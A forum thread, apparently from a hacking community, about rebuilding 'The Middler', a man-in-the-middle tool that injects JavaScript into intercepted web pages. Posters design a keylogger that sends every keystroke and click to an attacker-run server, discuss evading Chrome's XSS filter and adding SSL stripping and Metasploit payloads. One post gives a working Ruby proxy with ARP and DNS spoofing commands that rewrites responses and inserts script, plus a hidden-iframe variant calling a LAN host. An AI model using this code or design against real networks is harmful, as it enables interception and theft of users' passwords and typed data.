Jump to content

The Middler


Diggs

Recommended Posts

I know that Darren was working on this project a couple years ago and I was looking at maybe trying to resurrect this code. Has anyone else started working through the code and seeing if there is anything that can get worked on to get some of the more interesting plugins working.

Darren, if you have any advice on how to get these plugins working or updates on what you had found, it would be greatly appreciated.

I was interested in getting a hidden frame with arbitrary Metasploit modules and wanted to see if anyone else might be interested in working on this project with me.

Link to comment
Share on other sites

Yep, that's the episode. Basically the Middler is a python script that intercepts incoming webpages and adds a frame to them. In the episode, they were trying to use a Javascript module that hooked to keyboard input and shipped it off in realtime. There were also supposed to be plugins for Metasploit payloads and a couple other interesting things.

This seems like an interesting project and might not be that bad to implement. Frame injection would be pretty useful for MitM events. I will probably be working on getting either this code or something similar working, but anyone having either input on the current codebase or suggestions should let me know.

Link to comment
Share on other sites

I have done a lot of testing with mitm attacks, i have tested all the tools mentioned in the video and many more...

my goal was to insert malicious code into 100% http tcp protocal, a good proof of concept or control point could be as simple as the use of a <iframe src="evil.com">

with all my testing, the most effective set up was dns spoofing all the traffic to my own ruby proxy running on port 66 that would modify the header fields, insert my evil code and send the packet to the client...

i could never get 100% efficiency... but my lab setup was limited...

Link to comment
Share on other sites

Well if you can insert iframes of any code you wanted, you should be able to inject normal html and javascript, so as to not have to worry about iframe attacks from outside the same origin being blocked, but instead make it so all code is of same origin and helps to bypass XSS filters and same origin filters. Like inserting anything you wanted right after the <body> tag. That would probably be more useful, than iframe attacks, since browsers nowadays can block any third party iframe from executing code or loading scripts, etc.

Link to comment
Share on other sites

Hmm, I'll have to take a look at how to insert the Javascript into the page instead of it's own frame. It might already be setup to do that, but I'll see what's going on with it. I'll also see how the plugins put in the Metasploit modules and see if we can get an easy way to stick that in a stream.

Any other ideas?

Link to comment
Share on other sites

Hmm, I'll have to take a look at how to insert the Javascript into the page instead of it's own frame. It might already be setup to do that, but I'll see what's going on with it. I'll also see how the plugins put in the Metasploit modules and see if we can get an easy way to stick that in a stream.

Any other ideas?

Yeah, my only suggestion was adding the native code in the page so its all same origin. This way, something like Chrome's XSS filtering shouldn't be able to detect it either, since it looks at the GET requests for page loads and might otherwise block it. I think for any payloads that would be of merit, if you are doing MITM of any kind, having it look like its part of the site is key to being undetected for the low hanging fruit/targets. Anything in an iframe or linking to another machine on the local LAN, would be a red flag, and might even be detected by the end users anti-virus/software firewalls or even the browser itself.

Haven't got any other ideas at the moment but I'd be curious to see more of where this can go and maybe some example scripts to get it up and running. Post them in this thread, maybe get enough people to participate, we can get some sort of project going and move to its own thread under Projects. Something I would like to setup here with my VM's and see what it can do. I can see this having legitimate uses as well, maybe to inject a companies own JavaScript payload onto employees machines when browsing for disabling active-x, flash, possibly mitigate other attack vectors on malicious sites, etc. Tools can have more than malicious purposes, its all in how you apply them...

Edited by digip
Link to comment
Share on other sites

Since Google Chrome filters XSS attacks, the other possible way would be gaining root access to the webserver and inserting your own native code in the page. That way you won't have to rely on XSS.

Link to comment
Share on other sites

Since Google Chrome filters XSS attacks, the other possible way would be gaining root access to the webserver and inserting your own native code in the page. That way you won't have to rely on XSS.

It does filter XSS, but if its in the page before its returned to the browser and it can't see that its done during the request for the page like normal XSS, and of same origin, its filters should allow it to run. If its loaded in an iframe, it more than likely will fail due to its XSS filters.

Link to comment
Share on other sites

It does filter XSS, but if its in the page before its returned to the browser and it can't see that its done during the request for the page like normal XSS, and of same origin, its filters should allow it to run. If its loaded in an iframe, it more than likely will fail due to its XSS filters.

That's what I was going for, by not implementing an Iframe and by embedding the native code directly into the source code of the page, Chrome shouldn't be able to filter it out.

Since no Iframes or XSS are being added to the page.

Edited by Infiltrator
Link to comment
Share on other sites

I was snooping around the googlecode page for the middler and noticed that the plugins available for the different versions changes. The latest version includes SIP middling, which I'll look at once I have at least a little understanding of SIP.

In the meantime, the first version of the middler can be checked out here:

svn checkout http://middler.googlecode.com/svn/tags/0.95r1

It has three modules which are labeled INGUARDIANSONLY. This seems mildly interesting. It also contains the only version of the JS keylogger I've found so far. The later version, 1.0r1 has both the BEEF and Metasploit autopwn injections. I'm going to start diffing all of the versions to see what's been changed as it looks like some plugins might have been removed and left public accidentally.

As far as the JS Keylogger, it looks like it injects the javascript into the body in the first child. It seems like they had already done what was proposed to avoid the XSS filtering and just returns each keypress. I cannot yet vouch for how well it works, but I've at least got some demo code now which I can start to build on.

If I manage to get this up and running properly, I'll report back.

Link to comment
Share on other sites

Quick update. I've been working on the Javascript plugin and have basically started rewriting most of it. I needed to add a Python HttpHandler to receive messages from the injected Javascript. I also changed the Javascript to call an image and insert two parameters, an ID and the caught character. I had a couple of questions to see if anyone had ideas:

First: any ideas on avoiding collisions between the Javascript messages? I'm thinking of a situation where one message is delayed and arrives after a proceding message. This would throw off the character order. I have two ideas on how to handle this. The easiest would be to change the Javascript to send off entire strings when it gets a whitespace character. This would put spacing between messages and also keep order in connected characters. The problem with this would be if the user hit submit with the button instead of hitting enter or tab. There might be a workaround to this. Would there be any benefit to seeing the characters come across in real time as opposed to chunks? My second idea was to have a timestamp passed as a third parameter and then sort the array based on the timestamp for output. That would keep the realtime aspect in tact, but would take some more coding on parsing the file.

Second: Because I'm passing back the parameters to the Python HttpHandler as an image, it passes them back as a GET request. I thought this might be an issue with using this module legitimately as it publicly declares everything the user is typing. Any ideas on how to pass the params back in a POST request?

I think that is all for now, I should have a skeleton function up once I verify that my changes are working in the current framework. I'll post up a tar of the entire thing so others can look.

Link to comment
Share on other sites

So, i thought, maybe I am wrong, that what you do is intercept the request, and then send back all the pages with included code? Is that not how it works? I'm confused on what exactly is happening that seems to be an issue, if all the code is included, and the user does a post or get request via form or any other part of the page, you just return the same page with same injected code and your script would grab the get or post data and do whatever you want with it once received. I'm not sure I follow on the collisions.

Link to comment
Share on other sites

It actually uses Javascript to hook into the keyboard presses. Originally, it would create a link which had the keypress character passed back to the inguardians webpage. It sends this data with every keypress, not when the form is submitted, so it will send a character with every keypress. It also only puts the keypress javascript event only on password type inputs, so it would miss the username.

I have changed it to use fetch from an image because the link didn't seem to work properly for me. I also changed it to insert the javascript on every input type element. This way, I might get a bunch of junk data, but at least I'm getting all the data that's not check/radio buttons. If I changed the code to send the string on whitespace, then it would increase the time between submits and so prevent two letters from being received in an order different than they were typed.

Link to comment
Share on other sites

So one thing to try, is create a class, for every dom element/object. Give them all sequential naming conventions in letters(think there are some issues with css class elements starting with numbers that conflict with javascript, but that was years ago, might not exist today with current css and javascript standards) via an array and capture any mouse events on specific class and identify what is being clicked,tab key presses, etc, send typed or clicked data back when events change and different classes take focus, concat it all on the receiving end, and will have to decipher on your own. Just remember to capture delete key and backspace presses, in case they edit something, same as if they press arrow keys, or click between letters to type between letters, you need to know when that happens and reconcile the data, by getting the class items value at each change. Sounds like a lot of work..lol

Is this some sort of asynchronous code that sends back keystrokes for every key pressed, or are there events that take an accumulated amount of data or strings and sends it back on an enter or submit button pressed? My thing would be to have some sort of switch, that does either or events, so if they hit enter, send string, or if they hit submit, do same function and send string. if its not a normal submit button but instead a JavaScript event on an image or html input button(vs input type=submit, would be input type=button), if left click event happens on this target, send typed string. If filling in forms and has radio buttons, and they hit tab between input boxes, then insert a character that represents tab, so as to keep fields separate when sending back data, or on tab key press, send string, start capturing new string, each tab, send next string, radio button click, send value for button, start capture over, etc, etc.

Keyloggers should capture all strokes, including keyboard and mouse events, describing what elements were clicked, keeping track of space key, enter, tab, backspace, etc. You want to be able to reconstruct it as its happening, then you need to take in all the data, not just an input box's value for the name or password field, but all other events of the window and its elements.

Link to comment
Share on other sites

Okay, I've changed the code so it uses the document.onkeydown event to grab the keystrokes. This will make it universally record keystrokes. I'll also start working on adding a document.onclick event and see if I can get it to submit every elementname and value to record.

Any other suggestions on what should be done?

Link to comment
Share on other sites

Okay, I've changed the code so it uses the document.onkeydown event to grab the keystrokes. This will make it universally record keystrokes. I'll also start working on adding a document.onclick event and see if I can get it to submit every elementname and value to record.

Any other suggestions on what should be done?

Well, I think if you can get all that, you can also make it work passively, pass the captured data through to the real site, so it logs people in, lets them work as if transparently. Silently capturing keystrokes would work, but once it goes SSl, you are pretty much out of the loop, so having a way to SSL strip so you can keep returning data the user wants while not being detected, that would be pretty slick. If the end user uses encryption at any stage, you would be left in the dark pretty much.

Things could get real ugly real quick with this if it was combined with any number of payloads too. Kind of scary, how something that can be used for true productivity and security uses, can turn malicious and destructive at the same time, but either way, this is all still more or less academic and educational exercises.

Link to comment
Share on other sites

I'm planning on having the event functions always return true, so it should just keep on putting it into the form. The Middler also comes with a built in SSL stripper, so I'll test that and see if it works with the changes I've made. If that doesn't work, then I'll see about calling sslstrip and using that in the mix.

I'll work on cleaning this code up a bit too to see if I can get it more extensible. Right now, it's just a series of hacks, so it's pretty much just spaghetti.

It seems to be shaping up right now, so hopefully I won't find anything too deadly and can have something to show for it soon.

Link to comment
Share on other sites

I would like to share a script i put together about a year ago... it was a lot of fun building and there are so many other directions i could go with this script...

its a little hard to explain but here goes...

first thing is starting up your arpspoof/dnsspoof and listen for traffic on port 80

(victim GET/facebook/with user123 cookies) ---> (evil-proxy GET /facebook/with user123 cookies) ---> (facebook.com) -->response(evil-proxy-MODIFY-DATA)--->response(victim)

im working on a few problems right now, when you add bytes to the packet you have to change the frame length or else the page will load in the victim browser with incomplete code (the bottom half is missing)

I think i just figured it out... Total length is 1500 or '05 dc'

0000 00 15 00 48 8f c5 00 1a 73 91 01 9c 08 00 45 00 ...H.... s.....E.

0010 05 dc a4 d9 40 00 40 06 0b fc c0 a8 01 88 c0 a8 ....@.@. ........

with some math ill have to change this value

But here... give this a try...

install ruby with eventmachine...

close any application that has port 80 already in use

Edited by i8igmac
Link to comment
Share on other sites

i8igmac, that looks like fun. I'll see if I can play with it over this weekend. I haven't made much progress on the Middler plugin since last post. Been caught up in other stuff, but I'm hoping that either tonight or tomorrow night I'll have something to post. Right now, I've got the plugin injecting javascript and then creating a SimpleHttpServer to catch responses, but I need to thread the server because right now it's blocking the remaining process after spawning. After I get this set up, I'll see if the global onClick and onKeyPress events are working and if they keep a couple major websites from breaking. The final step is to see if the Middler sslstrip process works with all this nonsense.

After that, some exception handling and logging. That will pretty much round up what I was hoping to do with the Javascript keylogger plugin for an alpha release.

Link to comment
Share on other sites

For testing, set your proxy settings for your browser to 80... my goal is to have all pages modified and still load perfectly...

my last test script

require 'eventmachine'

attacker_ip="192.168.1.136"
victim="192.168.1.110"
gateway="192.168.1.1"


dns = File.open("dns", "w+")
dns.write("#{attacker_ip}        *.*")# this is your ip,
dns.close
#"1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 ".split(/ /, 10).join
#
# set proxy settings in firefox to port 80
#      uncommment these lines when you want to use arpsoof/dns
#`pkill spoof`
#a=Thread.new{system"xterm -e 'arpspoof -i wlan0 -t #{victim} #{gateway}'"}
#c=Thread.new{system"xterm -e 'arpspoof -i wlan0 -t #{gateway} #{victim}'"}
#b=Thread.new{system"xterm -e 'dnsspoof -i wlan0 -f dns'"}
#a.run
#b.run
#c.run
Thread.start{
class Client &lt; EM::Connection
        def initialize(other, finger, *args, &amp;blk)
		@other, @finger = other, finger
		super(*args, &amp;blk)
	end


        def post_init
          send_data @finger.sub("Accept-Encoding:","Assept-Ensoding:")
	end


        def receive_data(response)

	 clength = response.scan(/Content-Length: \d+/).to_s.sub("Content-Length: ","")
	  #clength = response.scan(/Content-Length: \d+/).to_s.split.slice(1).to_i #+ 17
	  #puts clength = response.scan(/Content-Length: \d+/)
	  #puts clength
	  #print "\n"
	  if response.scan("Content-Length: ").to_s == "" #&amp;&amp; response.scan("&lt;body&gt;").to_s == ""
		@other.send_data response


		else

			if response.scan("&lt;head&gt;").to_s == ""
				@other.send_data response
				else
					exploit="&lt;script&gt;alert('hello world')&lt;/script&gt;"
					math=exploit.length
					puts response
			#@other.send_data response.sub("&lt;/title&gt;","&lt;/titlE&gt;\n&lt;iframe src='http://192.168.1.103:8181/lol' width='0' height='0' &lt;/iframe&gt;\n").sub("Content-Length: #{clength}","Content-Length: #{clength-clength}")
			#@other.send_data response.sub("&lt;/title&gt;","&lt;/titlE&gt;&lt;script&gt;alert('hellow world')&lt;/script&gt;").sub("Content-Length: #{clength}","Content-Length: #{clength-clength}") 
			@other.send_data response.sub("&lt;head&gt;","&lt;head&gt;#{exploit}").sub("Content-Length: #{clength}","Content-Length: #{clength.to_i+math}")
			# .split(/ /, 9).join   delete 9 blank spaces

			end
		end
        end




      end
      #browser open to http://192.168.1.114
      module EchoServer
       def receive_data(finger) #finger is the header recived from the client, could log these cookies or log these pages

          #host = finger.to_a[1].chomp[6..-1]
	  #host = finger.gsub(" ","").split[1].chomp[5..-1]
#Thread.start{ 
	 ping = finger.gsub(" ","").index("Host:")
	 pong = finger.gsub(" ","").index("\n",ping)
	 host = finger.gsub(" ","")[ping..pong].gsub("Host:","").chomp

	 #i dont know if this will prevent loading from cache
	 data=finger.sub("If-None-Match:","If-None-MutXX:").sub("If-Modified-Since:","If-Modified-SXnce:")
          #print finger
	  #puts host


          EventMachine::connect host, 80, Client, self, data # ask google for data
	end
end
}
      EventMachine::run {
        EventMachine::start_server attacker_ip, 80, EchoServer
      }        #             YOUR IP

Edited by i8igmac
Link to comment
Share on other sites

I have updated the above script, when the string is found "<head>" the script insert's a small hello world script right after and modify's the content-length of the current packet to make room for the extra data...

all pages load properly and now i feel successful

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
P3P: CP="Facebook 
Set-Cookie: _e_0xIM_4=deleted
X-Cnection: close
Date: Fri, 13 Jan 2012 02:58:17 GMT
Content-Length: 110

&lt;html&gt;&lt;head&gt;&lt;title&gt;&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;span id="fbEmuTrackingSuccess"&gt;Success&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;

Only if the packet includes "Content-length:" AND the desired string "<head>" then the exploit will be inserted...

I have tried, searching for other strings like <script> <head> <body> etc... they all produce the same resaults

the problem is, what if none of these exist? then no pages will be modified...

what if there are several packets responding to one Get request that match up with my desired algorithm then there may be 10 exploits inserted on one page...

Link to comment
Share on other sites

  • 4 weeks later...

I've been working on a couple irritating things with the Middler code and then ran across this:

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/server/capture/javascript_keylogger.rb

Metasploit MitM keylogger. I'll see if I can get the Middler code working still, but this seems like it pretty much covers what I was hoping to do.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...